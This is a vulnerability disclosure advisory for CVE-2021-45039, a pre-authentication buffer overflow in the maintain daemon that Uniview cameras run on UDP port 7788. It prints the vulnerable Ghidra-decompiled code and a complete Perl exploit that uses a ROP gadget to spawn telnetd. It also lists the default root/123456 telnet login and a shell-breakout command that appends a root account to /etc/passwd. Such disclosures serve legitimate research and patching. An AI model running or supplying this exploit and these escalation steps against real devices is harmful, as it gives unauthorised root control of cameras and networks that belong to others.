SSD Advisory – Uniview PreAuth RCE

TL;DR

Find out how a vulnerability in multiple Uniview devices allow remote unauthenticated attackers to trigger a remote code execution vulnerability in the products the company offers.

Vulnerability Summary

A vulnerability in Uniview proprietary protocol listening on UDP port 7788 allows remote unauthenticated attackers to overflow an internal buffer used by the product. By exploiting the vulnerability a remote attackers to gain root access to the device.

CVE

CVE-2021-45039

Credit

An independent security researcher has reported this bypass to the SSD Secure Disclosure program.

Affected Versions

Vendor Response

The vendor has issued a an advisory: https://global.uniview.com/About_Us/Security/Notice/202112/920471_140493_0.htm

Vulnerability Analysis

Using unpack, binwalk and ubidump and the firmware from http://en.ezcloud.uniview.com/version/IPC/IPC_G6103/GIPC-B6103.16.10.B25.201218/GIPC-B6103.16.10.B25.201218.zip, you can see that /program/bin/maintain listens on UDP port 7788.

If you load /program/bin/maintain in Ghidra you can find a in FUN_00013074,

    case 10:
      if ((int)(local_27 - 2) < 0x41) {
        if ((local_20 & 0x400) == 0) {
          local_34 = __isoc99_sscanf(param_3 + local_1c + 2, "%[^:]:%hu", auStack336, &local_3a); // bug here

To reach the vulnerable location and redirect execution you will need to implement the custom TLV-based protocol this code uses.

The exploit found below will smash stack and spawn telnetd on the camera, you can then telnet in as root/123456 (password for telnetd is not changed when changing in web UI).

You will land in a restricted shell (uvsh), to break out of the restricted shell, ECHO command in uvsh allows file writes but only inside /tmp can overwrite /tmp/bin/killwatchdog.sh, this script gets called from /program/bin/reboot.sh when executing update -tftp / all from the uvsh:

ECHO -e "#!/bin/sh\necho toot:dIkAjCy0Zma2s:0:0::/root:/bin/sh >> /etc/passwd\nmv /sbin/reboot /sbin/reboot.org\n" > /tmp/bin/killwatchdog.sh

uvsh> update -tftp / all

wait for "/tmp/bin/reboot.sh: line 28: reboot: not found"

Exploit

# exploit for uniview maintain daemon
use IO::Socket;
use strict;
my $bla;
my $sock = IO::Socket::INET->new(
    Proto    => 'udp',
    PeerPort => 7788,
    PeerAddr => '192.168.0.153',
) or die "Could not create socket: $!\n";
binmode($sock);
# packet is [opcode] [unknown] [2 bytes for length, with itself included] ["stuff"] meaning my packet payload
my $opcode = "\x07" ; # not important
my $unk = "\x01" ;  # not important
my $payload = $opcode . $unk;
# below address is for system("telnetd &");
my $stuff = "AAAABBBB" . pack("l",0x00013a58) . "DDDD" . # these 20 bytes are used for the authentication flow, not relevant in this scenario
"\x0a"; # vuln tlv
# first char below is actually the length of the tlv (length not used here), must be < 0x43 to trigger bug
$stuff .= "\x42";
$stuff .= "E" x 328; # 328 bytes of filler
my $r11 = pack("l",0x43434343); # r11 not important
$stuff .= $r11 .
pack("l",0x0001b86c);  # 0x0001b86c: pop {r4, r5, r6, r7, r8, sb, sl, pc};, actual pc is defined in $stuff above
my $packet = $payload . pack("n",length($payload . $stuff)+2) . $stuff; # pad length of payload to include payload field
print "length of pkt " . int(length($payload . $stuff)+2) . "\n";
print $sock $packet;
$sock->close;

?

Get in touch